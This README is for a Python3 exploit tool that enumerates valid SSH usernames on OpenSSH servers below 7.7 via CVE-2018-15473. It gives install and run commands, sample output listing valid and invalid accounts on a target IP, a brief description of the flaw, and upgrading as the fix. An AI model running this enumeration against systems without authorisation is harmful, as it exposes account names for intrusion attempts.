CVE-2018-15473

CVE-2018-15473

SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)

Edited version of the original exploit: https://www.exploit-db.com/exploits/45233

• Converted to Python3
• Added username wordlist option

How To Run

#Ensure that you install the requirements:
foo@bar:~$ pip3 install -r requirements.txt

#For single username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -u root
[+] root is a valid username

#For multiple username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -w username_wordlist.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users: 
root

#For more option:
foo@bar:~$ ./CVE-2018-15473.py -h

About the Vulnerability:

The system responds differently to valid and invalid authentication attempts. A remote user can send specially crafted requests to determine valid usernames on the target system. Thus, a remote user can determine valid usernames on the target system.

Solution:

OpenSSH server should be upgraded to, or higher than, version 7.7